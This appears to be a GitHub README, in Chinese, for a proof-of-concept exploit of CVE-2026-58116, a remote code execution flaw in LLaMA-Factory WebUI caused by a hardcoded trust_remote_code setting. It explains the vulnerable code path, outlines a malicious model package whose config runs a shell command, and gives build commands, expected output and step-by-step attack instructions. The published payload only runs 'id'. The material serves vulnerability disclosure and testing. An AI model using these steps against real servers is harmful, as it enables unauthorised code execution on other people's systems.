Hunt-Benito/llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection
GitHub: Hunt-Benito/llama-factory-webui-rce-cve-2026-58116-trust-remote-code-model-path-injection
针对 LLaMA-Factory WebUI 因硬编码 trust_remote_code=True 导致远程代码执行(CVE-2026-58116)的概念验证项目,附带可复现的恶意模型构造与验证流程。
Stars: 0 | Forks: 0
# CVE-2026-58116 — LLaMA-Factory WebUI 通过 `trust_remote_code` 实现的 RCE
**CVE-2026-58116**(CVSS 9.8 严重)的概念验证:远程代码执行
存在于 [LLaMA-Factory](https://github.com/hiyouga/LLaMA-Factory) `<= v0.9.5`。
LLaMA-Factory WebUI 在加载模型时硬编码了 `trust_remote_code=True`
(`src/llamafactory/webui/chatter.py:139` 和 `runner.py:175,320`)。攻击者
控制的“Model path”字段在未经验证的情况下直接传入
`AutoTokenizer.from_pretrained()` / `AutoModel.from_pretrained()`,因此
Hugging Face `transformers` 库会从恶意的模型仓库下载并**执行任意 Python 代码**。
## ⚠️ 仅供教育用途
此 PoC 仅用于授权的安全测试和教育。其中包含的
载荷是故意无害的(它通过 `id` 打印主机侦察信息)。请仅在您拥有或授权测试的系统上运行它。未经明确许可,绝不可对基础设施部署恶意载荷。
## 目录
```
.
├── poc-model/
│ ├── config.json # declares auto_map → attacker modules
│ ├── configuration_poc.py # payload: runs os.system("id ...") at config load
│ ├── modeling_poc.py # minimal stub model class
│ └── __init__.py # makes it an importable package
└── build_and_verify.py # assemble + verify the sink in isolation
```
## Sink(漏洞触发点)工作原理
`transformers` 在加载任何权重**之前**就会实例化 config 类,因此
`PoCConfig.__init__` 中的 payload 在读取 config 时就会触发——完全
不需要存在任何权重。这正是 LLaMA-Factory 通过以下 `src/llamafactory/model/loader.py` 触及的路径:
```
def _get_init_kwargs(model_args):
return {"trust_remote_code": model_args.trust_remote_code, ...} # True (hardcoded)
def load_tokenizer(model_args):
init_kwargs = _get_init_kwargs(model_args)
tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, **init_kwargs)
```
## 快速开始
**在本地验证 sink**(无需 WebUI —— 证明 WebUI 违反了契约):
```
pip install transformers torch
python3 build_and_verify.py
```
预期输出 —— 注意 payload 横幅在加载 config *期间* 出现:
```
[+] PoC model assembled at .../poc-model
[*] Loading config with trust_remote_code=True (this triggers the PoC)...
============================================================
[CVE-2026-58116 PoC] trust_remote_code payload executed!
time : 2026-07-02T...
host : gpu-host-01
user : hbuser
------------------------------------------------------------
uid=1000(hbuser) gid=1000(hbuser) groups=1000(hbuser)
============================================================
[+] Config loaded: PoCConfig (model_type=poc_model)
```
**通过正在运行的 LLaMA-Factory WebUI 进行端到端测试:**
1. 将 PoC 模型上传到 Hub:
huggingface-cli login
python3 build_and_verify.py --upload your-user/llmfcty-poc
2. 启动受影响的 LLaMA-Factory 面板:`llamafactory-cli webui`
3. 打开 Chat 标签页,将 **Model path** 设置为 `your-user/llmfcty-poc`,点击 **Load Model**。
4. 该 payload 将作为 LLaMA-Factory 进程在服务器上执行。
## 参考文献
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-58116
- VulnCheck 公告: https://www.vulncheck.com/advisories/llama-factory-remote-code-execution-via-webui-model-path
- 原始披露 (h3nrrrych4u): https://gist.github.com/henrrrychau/08d76ec672f42136bbc1449c4f2973f8
标签:Maven, Web安全, 凭据扫描, 提示词注入, 漏洞验证, 编程工具, 蓝队分析, 远程代码执行, 逆向工具